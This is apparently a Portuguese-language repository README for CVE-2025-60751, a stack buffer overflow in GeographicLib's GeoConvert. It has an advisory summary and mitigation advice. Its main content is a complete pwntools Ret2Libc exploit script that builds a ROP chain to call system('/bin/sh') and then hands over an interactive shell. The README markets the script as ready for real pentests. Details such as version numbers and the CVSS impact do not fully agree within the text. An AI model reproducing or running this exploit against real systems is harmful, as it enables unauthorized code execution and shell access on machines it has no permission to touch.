Análise técnica e exploração profissional para CVE-2025-60751, um buffer overflow baseado em pilha no GeographicLib. Inclui exploração Ret2Libc baseada em pwntools com descoberta dinâmica de gadgets ROP, integração GDB e verificação pós-exploração para testes de penetração educacionais.
📌 Este repositório contém a análise e a documentação técnica da vulnerabilidade CVE-2025-60751, uma falha de estouro de buffer baseado na pilha (Stack-based Buffer Overflow) localizada na biblioteca C++ GeographicLib.
A vulnerabilidade está na função DMS::InternalDecode dentro do componente GeoConvert.
A falha ocorre quando a biblioteca tenta processar strings de coordenadas no formato DMS (Graus, Minutos, Segundos) malformadas ou excessivamente longas, o que provoca uma escrita fora dos limites do buffer alocado na pilha.
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow ()7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HUm atacante remoto pode enviar uma string de coordenadas especialmente criada para:
GeographicLib para converter coordenadas.⚠️ Nota técnica: Embora o vetor atual se concentre em Disponibilidade (
A:H), em ambientes específicos sem proteções de memória modernas (como Stack Canaries, NX bit ou ASLR ativo), essa falha poderia potencialmente escalar para execução arbitrária de código.
| Produto | Versão vulnerável | Distribuições detectadas |
|---|---|---|
GeographicLib | 2.5 | Pacotes no Debian LTS, Ubuntu e outros repositórios Linux que integram esta versão |
✅ Atualização: Recomenda-se fortemente atualizar para a última versão disponível do GeographicLib, onde a validação de comprimento em InternalDecode foi corrigida.
✅ Validação de Entrada: Se não for possível atualizar, implemente uma camada de saneamento que limite o comprimento das strings enviadas a DMS::Decode (ex.: máx. 32 caracteres).
✅ Compilação Segura: Certifique-se de compilar a biblioteca com flags de proteção de pilha:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0mattEste exploit utiliza pwntools para realizar um ataque Ret2Libc aproveitando o estouro de buffer.
Diferente de versões básicas, esta implementação é robusta, dinâmica e verificável, pronta para ambientes reais de pentest e laboratórios.
| Característica | Benefício |
|---|---|
ROP(elf) dinâmico | Não depende de gadgets hardcoded: encontra-os automaticamente no binário. |
Suporte integrado para GDB | Execute python exploit.py GDB → abre sessão de depuração automática. |
| Verificação pós-exploit | Envia id e confirma shell antes de entregar o controle interativo. |
RET para alinhamento de stack | Evita crashes em system() por alinhamento incorreto (crítico em x64). |
Payload estruturado como list + b"".join() | Limpo, legível, fácil de modificar e estender. |
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ Aviso de Responsabilidade
Este repositório tem finalidade puramente informativa e educativa para profissionais de cibersegurança.
O uso desta informação para fins ilícitos é de responsabilidade exclusiva do usuário.
❗ Use o código com cautela: somente em ambientes autorizados, isolados e com permissão explícita.
🔐 Segurança não é uma característica — é uma disciplina.
📬 Relato de descobertas: [email protected]
📦 Repositório oficial: https://github.com/geographiclib/geographiclib